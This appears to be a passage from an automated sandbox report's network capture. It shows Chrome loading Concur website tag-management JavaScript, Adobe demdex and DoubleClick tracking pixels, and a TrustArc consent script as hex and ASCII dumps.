2024-10-03 08:41:35 UTC	16384	IN	Data Raw: 73 65 63 74 69 6f 6e 5f 31 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 6e 65 77 73 72 6f 6f 6d 27 29 3e 2d 31 29 7c 7c 28 74 79 70 65 6f 66 20 64 5b 27 73 69 74 65 5f 72 65 67 69 6f 6e 61 6c 27 5d 21 3d 27 75 6e 64 65 66 69 6e 65 64 27 26 26 64 5b 27 73 69 74 65 5f 72 65 67 69 6f 6e 61 6c 27 5d 21 3d 27 27 26 26 64 5b 27 73 65 63 74 69 6f 6e 5f 31 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 61 70 70 2d 63 65 6e 74 65 72 27 29 3e 2d 31 29 7c 7c 28 74 79 70 65 6f 66 20 64 5b 27 73 69 74 65 5f 72 65 67 69 6f 6e 61 6c 27 5d 21 3d 27 75 6e 64 65 66 69 6e 65 64 27 26 26 64 5b 27 73 69 74 65 5f 72 65 67 69 6f 6e 61 6c 27 5d 21 3d 27 27 26 26 64 5b 27 70 61 67 65 5f 74 79 70 65 27 5d 2e 74 6f 53 74 72 69 6e 67 28 Data Ascii: section_1'].toString().indexOf('newsroom')>-1)\|\|(typeof d['site_regional']!='undefined'&&d['site_regional']!=''&&d['section_1'].toString().indexOf('app-center')>-1)\|\|(typeof d['site_regional']!='undefined'&&d['site_regional']!=''&&d['page_type'].toString(
2024-10-03 08:41:35 UTC	16384	IN	Data Raw: 68 69 67 68 65 72 2d 65 64 75 63 61 74 69 6f 6e 2d 73 6f 6c 75 74 69 6f 6e 27 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7d 63 61 74 63 68 28 65 29 7b 75 74 61 67 2e 44 42 28 65 29 7d 3b 62 72 65 61 6b 3b 63 61 73 65 27 33 35 31 27 3a 74 72 79 7b 63 5b 33 35 31 5d 7c 3d 28 64 5b 27 73 69 74 65 5f 72 65 67 69 6f 6e 61 6c 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 65 6e 2d 75 73 27 29 3e 2d 31 26 26 64 5b 27 70 61 67 65 5f 6e 61 6d 65 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 27 65 6e 2d 75 73 3a 73 6f 6c 75 74 69 6f 6e 73 2d 68 69 67 68 65 72 2d 65 64 75 63 61 74 69 6f 6e 27 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7d 63 61 74 63 68 28 65 29 7b 75 74 61 67 2e 44 42 28 65 29 7d 3b Data Ascii: higher-education-solution'.toLowerCase())}catch(e){utag.DB(e)};break;case'351':try{c[351]\|=(d['site_regional'].toString().indexOf('en-us')>-1&&d['page_name'].toString().toLowerCase()=='en-us:solutions-higher-education'.toLowerCase())}catch(e){utag.DB(e)};
2024-10-03 08:41:35 UTC	16384	IN	Data Raw: 5b 27 65 76 65 6e 74 5f 66 6c 61 67 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 66 6f 72 6d 20 63 6f 6d 70 6c 65 74 65 64 27 29 3e 2d 31 29 7c 7c 28 64 5b 27 73 69 74 65 5f 72 65 67 69 6f 6e 61 6c 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 65 6e 2d 73 67 27 29 3e 2d 31 26 26 64 5b 27 70 61 67 65 5f 6e 61 6d 65 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 6f 78 66 6f 72 64 2d 65 63 6f 6e 6f 6d 69 63 73 2d 72 65 73 65 61 72 63 68 2d 65 66 66 65 63 74 69 76 65 2d 73 70 65 6e 64 69 6e 67 2d 6d 61 6e 61 67 65 6d 65 6e 74 2d 62 6f 6f 73 74 73 2d 70 65 72 66 6f 72 6d 61 6e 63 65 2d 6c 70 27 29 3e 2d 31 26 26 64 5b 27 65 76 65 6e 74 5f 66 6c 61 67 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e Data Ascii: ['event_flag'].toString().indexOf('form completed')>-1)\|\|(d['site_regional'].toString().indexOf('en-sg')>-1&&d['page_name'].toString().indexOf('oxford-economics-research-effective-spending-management-boosts-performance-lp')>-1&&d['event_flag'].toString().
2024-10-03 08:41:35 UTC	2464	IN	Data Raw: 7d 63 61 74 63 68 28 65 29 7b 75 74 61 67 2e 44 42 28 65 29 7d 3b 62 72 65 61 6b 3b 63 61 73 65 27 35 31 37 27 3a 74 72 79 7b 63 5b 35 31 37 5d 7c 3d 28 64 5b 27 73 69 74 65 5f 72 65 67 69 6f 6e 61 6c 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 70 74 2d 62 72 27 29 3e 2d 31 26 26 64 5b 27 65 76 65 6e 74 5f 66 6c 61 67 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 66 69 6c 65 20 64 6f 77 6e 6c 6f 61 64 27 29 3e 2d 31 29 7d 63 61 74 63 68 28 65 29 7b 75 74 61 67 2e 44 42 28 65 29 7d 3b 62 72 65 61 6b 3b 63 61 73 65 27 35 31 39 27 3a 74 72 79 7b 63 5b 35 31 39 5d 7c 3d 28 64 5b 27 65 76 65 6e 74 5f 66 6c 61 67 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 66 6f 72 6d 20 63 6f 6d 70 6c 65 Data Ascii: }catch(e){utag.DB(e)};break;case'517':try{c[517]\|=(d['site_regional'].toString().indexOf('pt-br')>-1&&d['event_flag'].toString().indexOf('file download')>-1)}catch(e){utag.DB(e)};break;case'519':try{c[519]\|=(d['event_flag'].toString().indexOf('form comple
2024-10-03 08:41:35 UTC	14055	IN	Data Raw: 63 6f 6d 70 6c 69 61 6e 63 65 2d 6b 75 6c 74 75 72 2d 7a 75 6d 2d 73 63 68 75 74 7a 2d 69 68 72 65 73 2d 75 6e 74 65 72 6e 65 68 6d 65 6e 73 27 29 3e 2d 31 29 7d 63 61 74 63 68 28 65 29 7b 75 74 61 67 2e 44 42 28 65 29 7d 3b 62 72 65 61 6b 3b 63 61 73 65 27 35 33 39 27 3a 74 72 79 7b 63 5b 35 33 39 5d 7c 3d 28 64 5b 27 73 69 74 65 5f 72 65 67 69 6f 6e 61 6c 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 64 65 2d 64 65 27 29 3e 2d 31 26 26 64 5b 27 70 61 67 65 5f 6e 61 6d 65 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 27 72 65 73 6f 75 72 63 65 73 3a 65 2d 62 6f 6f 6b 2d 64 69 65 2d 33 2d 68 65 72 61 75 73 66 6f 72 64 65 72 75 6e 67 65 6e 2d 64 65 72 2d 67 6c 6f 62 61 6c 69 73 69 65 72 75 6e Data Ascii: compliance-kultur-zum-schutz-ihres-unternehmens')>-1)}catch(e){utag.DB(e)};break;case'539':try{c[539]\|=(d['site_regional'].toString().indexOf('de-de')>-1&&d['page_name'].toString().toLowerCase()=='resources:e-book-die-3-herausforderungen-der-globalisierun
2024-10-03 08:41:35 UTC	12792	IN	Data Raw: 29 3d 3d 27 66 75 73 69 6f 6e 2d 65 78 63 68 61 6e 67 65 2d 72 65 67 69 73 74 72 61 74 69 6f 6e 27 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7c 7c 28 64 5b 27 73 69 74 65 5f 72 65 67 69 6f 6e 61 6c 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 64 65 2d 64 65 27 29 3e 2d 31 26 26 64 5b 27 70 61 67 65 5f 6e 61 6d 65 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 27 66 75 73 69 6f 6e 2d 65 78 63 68 61 6e 67 65 2d 72 65 67 69 73 74 72 61 74 69 6f 6e 27 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 26 26 64 5b 27 65 76 65 6e 74 5f 66 6c 61 67 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 27 66 6f 72 6d 20 63 6f 6d 70 6c 65 74 65 27 2e 74 6f 4c 6f 77 65 72 43 Data Ascii: )=='fusion-exchange-registration'.toLowerCase())\|\|(d['site_regional'].toString().indexOf('de-de')>-1&&d['page_name'].toString().toLowerCase()=='fusion-exchange-registration'.toLowerCase()&&d['event_flag'].toString().toLowerCase()=='form complete'.toLowerC
2024-10-03 08:41:35 UTC	3592	IN	Data Raw: 6f 6e 61 6c 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 64 65 2d 64 65 27 29 3e 2d 31 26 26 64 5b 27 72 65 67 69 73 74 72 61 74 69 6f 6e 5f 73 75 63 63 65 73 73 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 63 6f 6e 74 61 63 74 27 29 3e 2d 31 29 7d 63 61 74 63 68 28 65 29 7b 75 74 61 67 2e 44 42 28 65 29 7d 3b 62 72 65 61 6b 3b 63 61 73 65 27 36 35 33 27 3a 74 72 79 7b 63 5b 36 35 33 5d 7c 3d 28 64 5b 27 73 69 74 65 5f 72 65 67 69 6f 6e 61 6c 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 64 65 2d 64 65 27 29 3e 2d 31 26 26 64 5b 27 72 65 67 69 73 74 72 61 74 69 6f 6e 5f 73 75 63 63 65 73 73 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 70 72 65 6d 69 75 6d 27 29 Data Ascii: onal'].toString().indexOf('de-de')>-1&&d['registration_success'].toString().indexOf('contact')>-1)}catch(e){utag.DB(e)};break;case'653':try{c[653]\|=(d['site_regional'].toString().indexOf('de-de')>-1&&d['registration_success'].toString().indexOf('premium')
2024-10-03 08:41:35 UTC	6396	IN	Data Raw: 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6f 6e 63 75 72 2e 63 6f 2e 6a 70 2f 65 6c 65 63 74 72 6f 6e 69 63 2d 62 6f 6f 6b 2d 61 63 74 27 29 3e 2d 31 29 7c 7c 28 64 5b 27 70 61 67 65 5f 75 72 6c 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6f 6e 63 75 72 2e 63 6f 2e 6a 70 2f 73 6d 61 6c 6c 2d 62 75 73 69 6e 65 73 73 2f 69 6e 76 6f 69 63 65 27 29 3e 2d 31 29 7c 7c 28 64 5b 27 70 61 67 65 5f 75 72 6c 27 5d 2e 74 6f 53 74 72 69 6e 67 28 29 2e 69 6e 64 65 78 4f 66 28 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6f 6e 63 75 72 2e 63 6f 2e 6a 70 2f 70 65 72 66 65 63 74 2d 65 78 70 65 6e 73 65 27 29 3e 2d 31 29 7d 63 61 74 63 68 28 65 29 7b Data Ascii: ].toString().indexOf('https://www.concur.co.jp/electronic-book-act')>-1)\|\|(d['page_url'].toString().indexOf('https://www.concur.co.jp/small-business/invoice')>-1)\|\|(d['page_url'].toString().indexOf('https://www.concur.co.jp/perfect-expense')>-1)}catch(e){

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49838	46.137.24.228	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:34 UTC	715	OUT	GET /ibs:dpid=21&dpuuid=216783105024001044546 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394
2024-10-03 08:41:34 UTC	891	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:34 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: uNcyAE/RTkM= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v065-0b4413205.edge-irl1.demdex.com 4 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:34 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:34 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:34 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49847	142.250.186.66	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:34 UTC	798	OUT	GET /pixel?google_nid=adobe_dmp&google_cm&gdpr=0&gdpr_consent=&google_hm=NzcwNjM1MjQ1Mzg2NDYwNzIyNzE0NzkyMTMyNTk0NDUwOTg2ODE= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:35 UTC	880	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://cm.g.doubleclick.net/pixel?google_nid=adobe_dmp&google_cm=&gdpr=0&gdpr_consent=&google_hm=NzcwNjM1MjQ1Mzg2NDYwNzIyNzE0NzkyMTMyNTk0NDUwOTg2ODE=&google_tc= Date: Thu, 03 Oct 2024 08:41:35 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 378 X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Thu, 03-Oct-2024 08:56:35 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-03 08:41:35 UTC	378	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 61 64 6f 62 65 5f 64 6d 70 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 63 6d 3d 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://cm.g.doubleclick.net/pixel?google_nid=adobe_dmp&google_cm=&gdpr=0&g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49844	13.224.189.92	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:34 UTC	596	OUT	GET /notice?domain=concur.com&c=teconsent&js=nj&noticeType=bb&text=true&gtm=1&cdn=1 HTTP/1.1 Host: consent.trustarc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:35 UTC	452	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close Date: Thu, 03 Oct 2024 08:41:35 GMT X-Cache: Miss from cloudfront Via: 1.1 cdcb559c2f25d8ad2ccf0419bee33b02.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA2-C1 X-Amz-Cf-Id: ct9UWL95RbPsgZRFNDCR11_4xQf07--VczaQY2saWq6-yTPCkhAFMQ== Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: max-age=3600 Vary: Origin
2024-10-03 08:41:35 UTC	15932	IN	Data Raw: 38 34 62 66 0d 0a 76 61 72 20 74 72 75 73 74 65 3d 77 69 6e 64 6f 77 2e 74 72 75 73 74 65 7c 7c 7b 7d 3b 74 72 75 73 74 65 2e 62 6e 7c 7c 28 74 72 75 73 74 65 2e 62 6e 3d 7b 7d 29 3b 74 72 75 73 74 65 2e 65 75 7c 7c 28 74 72 75 73 74 65 2e 65 75 3d 7b 7d 29 3b 74 72 75 73 74 65 2e 75 74 69 6c 7c 7c 28 74 72 75 73 74 65 2e 75 74 69 6c 3d 7b 7d 29 3b 0a 74 72 75 73 74 65 2e 75 74 69 6c 2e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 68 2c 64 2c 67 29 7b 67 3d 67 7c 7c 7b 7d 3b 76 61 72 20 66 3d 64 26 26 64 2e 74 6f 53 74 72 69 6e 67 28 29 7c 7c 22 22 2c 63 3d 67 2e 63 61 6c 6c 65 72 7c 7c 22 22 3b 69 66 28 64 26 26 64 2e 73 74 61 63 6b 29 7b 66 2b 3d 22 5c 6e 22 2b 64 2e 73 74 61 63 6b 2e 6d 61 74 63 68 28 2f 28 40 7c 61 74 29 5b 5e 5c 6e 5c 72 5c 74 5d 2a Data Ascii: 84bfvar truste=window.truste\|\|{};truste.bn\|\|(truste.bn={});truste.eu\|\|(truste.eu={});truste.util\|\|(truste.util={});truste.util.error=function(h,d,g){g=g\|\|{};var f=d&&d.toString()\|\|"",c=g.caller\|\|"";if(d&&d.stack){f+="\n"+d.stack.match(/(@\|at)[^\n\r\t]*
2024-10-03 08:41:35 UTC	16384	IN	Data Raw: 2e 73 74 79 6c 65 73 2e 62 6f 78 5f 6f 76 65 72 6c 61 79 3d 74 79 70 65 6f 66 20 24 74 65 6d 70 5f 62 6f 78 5f 6f 76 65 72 6c 61 79 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 24 74 65 6d 70 5f 62 6f 78 5f 6f 76 65 72 6c 61 79 3b 68 2e 73 74 79 6c 65 73 2e 62 6f 78 5f 6f 76 65 72 6c 61 79 5f 62 6f 72 64 65 72 3d 74 79 70 65 6f 66 20 24 74 65 6d 70 5f 62 6f 78 5f 6f 76 65 72 6c 61 79 5f 62 6f 72 64 65 72 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 24 74 65 6d 70 5f 62 6f 78 5f 6f 76 65 72 6c 61 79 5f 62 6f 72 64 65 72 3b 0a 68 2e 73 74 79 6c 65 73 2e 6f 76 65 72 6c 61 79 3d 74 79 70 65 6f 66 20 24 74 65 6d 70 5f 6f 76 65 72 6c 61 79 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 24 74 65 6d 70 5f 6f 76 65 72 6c 61 79 3b 68 2e 73 74 79 6c 65 73 2e 69 6e 6e Data Ascii: .styles.box_overlay=typeof $temp_box_overlay!="undefined"&&$temp_box_overlay;h.styles.box_overlay_border=typeof $temp_box_overlay_border!="undefined"&&$temp_box_overlay_border;h.styles.overlay=typeof $temp_overlay!="undefined"&&$temp_overlay;h.styles.inn
2024-10-03 08:41:35 UTC	1675	IN	Data Raw: 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 79 2e 63 63 70 61 4f 70 74 65 64 4f 75 74 29 3b 0a 76 61 72 20 54 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 79 2e 63 63 70 61 4f 70 74 65 64 49 6e 29 3b 76 61 72 20 53 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 79 2e 63 63 70 61 4e 6f 50 72 65 66 65 72 65 6e 63 65 29 3b 69 66 28 52 26 26 4f 2e 70 72 65 66 43 6f 6f 6b 69 65 29 7b 76 61 72 20 50 3d 2f 5e 5b 79 59 5d 24 2f 3b 0a 69 66 28 50 2e 74 65 73 74 28 52 29 29 7b 51 26 26 74 72 75 73 74 65 2e 62 6e 2e 73 68 6f 77 28 51 29 3b 54 26 26 74 72 75 73 74 65 2e 62 6e 2e 68 69 64 65 28 54 29 3b 53 26 26 74 72 75 73 74 65 2e 62 6e 2e 68 69 64 65 28 53 29 7d 65 6c 73 65 7b 51 26 26 74 72 75 Data Ascii: ent.getElementById(y.ccpaOptedOut);var T=document.getElementById(y.ccpaOptedIn);var S=document.getElementById(y.ccpaNoPreference);if(R&&O.prefCookie){var P=/^[yY]$/;if(P.test(R)){Q&&truste.bn.show(Q);T&&truste.bn.hide(T);S&&truste.bn.hide(S)}else{Q&&tru
2024-10-03 08:41:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49852	46.137.24.228	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:35 UTC	815	OUT	GET /ibs:dpid=477&dpuuid=6d94047d5ba552f803e557b75566d6a4f12326b52ee1ae9ebf8ec17e6cf1cd9ab0da87c991749652 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404
2024-10-03 08:41:35 UTC	891	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:35 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: UU1/qLuGRvo= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v065-0ad7c16a0.edge-irl1.demdex.com 3 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:35 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:35 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:35 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49851	46.137.24.228	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:35 UTC	768	OUT	GET /ibs:dpid=601&dpuuid=212818727823119&random=1727944894 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404
2024-10-03 08:41:35 UTC	891	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:35 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: 6eKH/TZyR9Q= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v065-0027a3e1d.edge-irl1.demdex.com 3 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:35 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:35 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:35 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49854	18.202.39.134	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
